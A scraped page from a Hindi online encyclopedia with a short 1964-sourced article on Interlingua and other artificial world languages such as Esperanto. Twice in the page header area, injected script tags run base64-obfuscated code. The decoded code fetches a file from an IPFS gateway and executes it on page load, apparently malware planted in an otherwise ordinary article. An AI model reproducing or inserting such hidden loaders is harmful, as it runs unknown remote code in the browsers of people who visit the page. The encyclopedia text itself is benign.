इंटर लिंगुआ

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
इंटर लिंगुआ
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 495
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक मोहनलाल तिवारी

इंटर लिंगुआ शब्द का अर्थ अंतर्भाषा होता है अर्थात्‌ अनेक भाषाओं के मध्य एक सर्वनिष्ठ भाषा। चूँकि एक भाषा दूसरी से सर्वथा पृथक्‌ होती है अत: ऐसी भाषा स्वाभाविक न होकर कृत्रिम ही हो सकती है। आधुनिक युग में (20वीं शताब्दी में) विश्व अंतर्भाषा बनाने के दो प्रयास किए गए। प्रथम प्रयास 1908 ई. में गिउसेपो पेअनो नामक भाषाविद् द्वारा किया गया और दूसरा प्रयास अंतरराष्ट्रीय सहकारी भाषा संस्था (इंटरनैशनल आक्जीलरी लैंग्वेज एसोसियेशन) द्वारा किया गया, किंतु भाषा की लोकप्रियता की दृष्टि से सफलता नहीं मिली। इसी प्रकार की एक अन्य विश्वभाषा एसपिरेंतो की रचना डा.एल.एल. जर्मेनहाफ ने 1887 ई. में की, जो अपेक्षाकृत 1925 ई. के पश्चात्‌ अधिक लोकप्रिय हुई।





टीका टिप्पणी और संदर्भ